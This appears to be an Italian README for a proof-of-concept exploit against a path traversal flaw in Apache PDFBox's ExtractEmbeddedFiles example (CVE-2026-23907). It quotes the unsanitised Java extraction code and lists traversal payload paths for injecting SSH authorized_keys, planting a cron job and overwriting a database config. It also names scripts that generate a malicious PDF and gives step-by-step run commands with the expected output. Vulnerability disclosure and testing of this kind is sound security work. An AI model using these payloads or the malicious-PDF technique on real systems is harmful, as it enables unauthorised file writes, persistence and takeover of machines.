
Proof-of-concept exploit per la vulnerabilità di path traversal in Apache PDFBox (CVE-2026-23907), che dimostra la scrittura arbitraria di file tramite PDF dannosi con file incorporati.
Il codice di esempio ExtractEmbeddedFiles di Apache PDFBox non sanifica i nomi dei file durante l'estrazione di file incorporati dai PDF. Un attaccante può incorporare file con sequenze di path traversal (../) per scrivere file in posizioni arbitrarie del filesystem.
File: pdfbox/examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java
private static void extractFile(String filePath, String filename, PDEmbeddedFile embeddedFile)
throws IOException
{
String embeddedFilename = filePath + filename; // NO SANITIZATION
File file = new File(embeddedFilename);
File parentDir = file.getParentFile();
if (!parentDir.exists())
{
parentDir.mkdirs(); // Creates arbitrary directories
}
try (FileOutputStream fos = new FileOutputStream(file))
{
fos.write(embeddedFile.toByteArray()); // Writes to arbitrary location
}
}
Il parametro filename proviene direttamente dal PDF senza alcuna validazione.
Iniezione di Chiavi SSH
../../.ssh/authorized_keysIniezione di Cron Job
../../../etc/cron.d/maliciousSovrascrittura della Configurazione
../../config/database.ymlcreate_malicious_pdf.py - Genera un PDF malevolo con path traversalTestPathTraversal.java - Dimostra la vulnerabilitàtest_path_traversal.sh - Script di test automatizzatomalicious_path_traversal.pdf - PDF malevolo pre-generato./test_path_traversal.sh
# 1. Genera il PDF malevolo
python3 create_malicious_pdf.py
# 2. Compila il test (richiede il JAR di PDFBox)
javac -cp pdfbox-app.jar TestPathTraversal.java
# 3. Esegui il test
java -cp .:pdfbox-app.jar TestPathTraversal malicious_path_traversal.pdf
# 4. Verifica il path traversal
cat /tmp/path_traversal_poc
PATH TRAVERSAL DETECTED!
Expected path prefix: /current/working/directory
Actual path: /tmp/path_traversal_poc
ExtractEmbeddedFiles.javaPDComplexFileSpecification.getFilename() senza sanificazione